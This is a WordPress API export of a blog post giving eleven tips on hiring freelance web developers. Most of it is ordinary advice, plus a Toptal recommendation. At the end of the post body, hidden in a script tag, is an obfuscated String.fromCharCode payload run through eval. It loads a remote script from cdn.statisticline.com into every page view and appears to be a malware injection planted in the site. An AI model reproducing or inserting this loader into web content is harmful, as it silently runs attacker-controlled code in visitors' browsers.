{"id":5835,"date":"2023-06-09T10:56:34","date_gmt":"2023-06-09T10:56:34","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/freelance-web-developers-how-to-find-and-hire-the-best\/"},"modified":"2023-06-09T10:56:34","modified_gmt":"2023-06-09T10:56:34","slug":"freelance-web-developers-how-to-find-and-hire-the-best","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/freelance-web-developers-how-to-find-and-hire-the-best\/","title":{"rendered":"Freelance web developers: How to find and hire the best"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/freelance-web-developers-how-to-find-and-hire-the-best\/#1_Know_what_youre_hiring_for\" title=\"1. Know what you\u2019re hiring for\">1. Know what you\u2019re hiring for<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/freelance-web-developers-how-to-find-and-hire-the-best\/#2_Hire_the_best\" title=\"2. Hire the best\">2. Hire the best<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/freelance-web-developers-how-to-find-and-hire-the-best\/#3_Use_your_referral_network\" title=\"3. Use your referral network\">3. Use your referral network<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/freelance-web-developers-how-to-find-and-hire-the-best\/#4_Research_the_market\" title=\"4. Research the market\">4. Research the market<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/freelance-web-developers-how-to-find-and-hire-the-best\/#5_Look_for_teamwork_and_the_ability_to_communicate\" title=\"5. Look for teamwork and the ability to communicate\">5. Look for teamwork and the ability to communicate<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/freelance-web-developers-how-to-find-and-hire-the-best\/#6_Ask_technical_questions\" title=\"6. Ask technical questions\">6. Ask technical questions<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/freelance-web-developers-how-to-find-and-hire-the-best\/#7_Give_test_projects\" title=\"7. Give test projects\">7. Give test projects<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/benrmatthews.local\/freelance-web-developers-how-to-find-and-hire-the-best\/#8_Can_they_take_feedback\" title=\"8. Can they take feedback?\">8. Can they take feedback?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/benrmatthews.local\/freelance-web-developers-how-to-find-and-hire-the-best\/#9_Analyze_the_developers_portfolio\" title=\"9. Analyze the developer\u2019s portfolio\">9. Analyze the developer\u2019s portfolio<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/benrmatthews.local\/freelance-web-developers-how-to-find-and-hire-the-best\/#10_Utilize_every_resource_at_your_disposal\" title=\"10. Utilize every resource at your disposal\">10. Utilize every resource at your disposal<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"http:\/\/benrmatthews.local\/freelance-web-developers-how-to-find-and-hire-the-best\/#11_Take_your_time\" title=\"11. Take your time\">11. Take your time<\/a><\/li><\/ul><\/nav><\/div>\n<p><span style=&quot;font-weight: 400;&quot;><strong>Hiring freelance web developers is notoriously difficult.<\/strong> <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Not only do talented web developers possess technical skill, but they must also be able to work in a team, predict deadlines, and handle the stresses of product development cycles. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>With such a varied skillset, it\u2019s difficult to identify the candidates that have it all, and just reading resumes won\u2019t tell you enough.<\/span><\/p>\n<p>However, if you want to build a talent pipeline yourself and not depend on a hiring platform, here are 11 steps to find and hire the best developers.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"1_Know_what_youre_hiring_for\"><\/span><strong>1. Know what you\u2019re hiring for<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>It sounds obvious, but you can\u2019t start the hiring process until you know what you\u2019re looking for. Identify all the skills your developer needs to have and all the skills you want them to have. Prioritize your search process by focusing on the must-have skills. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>If you need a JavaScript web developer, knowledge in Node.js for back-end work is useful, but you should still consider hiring a front-end JavaScript developer without Node.js experience if they can do the main tasks you need them to accomplish.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"2_Hire_the_best\"><\/span><strong>2. Hire the best<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>If you\u2019re a business looking to hire the best talent in the development world, there are ways to increase your chances of doing so without sinking too much time into this demanding process.<\/span><\/p>\n<p><strong> The easiest way to hire talent is to use a vetted network like\u00a0Toptal.<\/strong><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Toptal screens for the top 3% of developers and designers and offers a no-risk trial for up to two weeks to ensure a healthy working relationship between the client and freelancer.<\/span><\/p>\n<p><img class=&quot;aligncenter wp-image-1555 size-full&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2016\/07\/toptal-best-freelance-web-developers.png&quot; alt=&quot;toptal best freelance web developers&quot; width=&quot;1290&quot; height=&quot;404&quot; \/><\/p>\n<p style=&quot;text-align: center;&quot;>Visit Toptal<\/p>\n<h2><span class=\"ez-toc-section\" id=\"3_Use_your_referral_network\"><\/span><strong>3. Use your referral network<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Before getting too deep into the search process, first tap into your referral network to find candidates. Ask your friends and coworkers if they know any developers looking for work. <\/span><\/p>\n<p><strong>Referrals are hired two-thirds of the time<\/strong><span style=&quot;font-weight: 400;&quot;><strong>, so use that process to your advantage.<\/strong> <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>More often than not, referrals are an effective hiring tactic to bring in talent with real, similar work experience that is pre-vetted by people you trust.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"4_Research_the_market\"><\/span><strong>4. Research the market<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Once you expand your search to include external sources, it\u2019s important to have an understanding of the market. How much does the type of developer you want cost? <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Make sure that you match your expectations with your budget. Don\u2019t waste your time hiring an all-star senior developer if you can\u2019t afford it or if the person is more qualified than the position requires. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Once you know the market price for the skillset and experience you\u2019re looking for, you\u2019ll be able to focus your developer search, save time, and ensure that you don\u2019t get overcharged in the process.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"5_Look_for_teamwork_and_the_ability_to_communicate\"><\/span><strong>5. Look for teamwork and the ability to communicate<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Good developers do not work in silos; they work across teams, collaborating with other developers, designers, and product managers, among others. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>It\u2019s crucial that the candidate you hire is able to communicate with coworkers, so during the interview, <\/span><span style=&quot;font-weight: 400;&quot;>ask about their past experience working as part of a team.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>How well can they articulate what they\u2019ve worked on? Ask candidates about past communication breakdowns they\u2019ve had, what caused the problem, and how they fixed it to get a feel for how they operate as part of a whole.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"6_Ask_technical_questions\"><\/span><strong>6. Ask technical questions<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>To hire the best developer, dive into their expertise and ask technical questions to learn about both their theoretical and practical knowledge. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>To do this, it\u2019s crucial that your hiring manager has a technical background as well, to both ask in-depth questions and to understand the answers. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Technical expertise is the number one priority, so make sure that it is the focal point of your search.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"7_Give_test_projects\"><\/span><strong>7. Give test projects<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Utilizing trial projects during the screening process is beneficial because they let you see a developer code live and get a feel for how they work.\u00a0<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Test projects also show you how well a developer can estimate a deadline, a very important skill when it comes to product cycles and coordinating with different teams. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>To ensure that a developer can actually code the code and not just talk the talk, it\u2019s crucial to give candidates a test project.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"8_Can_they_take_feedback\"><\/span><strong>8. Can they take feedback?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>An important part of any employer\/employee relationship is feedback. Developers can be incredibly talented, but if they are unable to take feedback and revise their work, ultimately they aren\u2019t a good fit for a team. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Talk to a developer\u2019s past clients to find out how well they integrated with the team and to what degree they were coachable and able to adapt their style to a business\u2019s needs.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"9_Analyze_the_developers_portfolio\"><\/span><strong>9. Analyze the developer\u2019s portfolio<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>When looking through a developer\u2019s portfolio, keep an eye out for progression. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Is the developer pushing their skills and trying new things with each project? <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Do they create varied results or is each project more of the same? <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>You want to hire a developer that is constantly learning and pushing for better results, so use a developer\u2019s portfolio as a window to their career arc.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"10_Utilize_every_resource_at_your_disposal\"><\/span><strong>10. Utilize every resource at your disposal<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Sure, hiring is an internal process, but that doesn\u2019t mean there aren\u2019t other resources you can use. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Services like <\/span><span style=&quot;font-weight: 400;&quot;>Codility<\/span><span style=&quot;font-weight: 400;&quot;> can aid your technical evaluation of a candidate\u2019s skill and save you time during the vetting process. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Check out open source communities, online job boards, and hiring platforms to find talented developers and broaden your search. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>The more places you look for developers, the more applicants you\u2019ll find, and ultimately you\u2019ll hire a better developer too<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"11_Take_your_time\"><\/span><strong>11. Take your time<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Above all, don\u2019t forget to take your time during the hiring process. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Rushing interviews is a fast way to onboarding the wrong candidate. Be thorough in individual interviews and in the search process. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Assessing developers takes time, so make sure to give the process its due and be certain that you hire the right developer for your needs.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Use these steps to your advantage, and know that the keys to successful hiring are thoroughness and patience. You\u2019ll find the right developer eventually if you keep looking. Happy hiring!<\/span><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hiring freelance web developers is notoriously difficult. Not only do talented web developers possess technical skill, but they must also be able to work in a team, predict deadlines, and handle the stresses of product development cycles. With such a varied skillset, it\u2019s difficult to identify the candidates that have it all, and just reading [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-5835","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5835"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=5835"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5835\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=5835"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=5835"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=5835"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}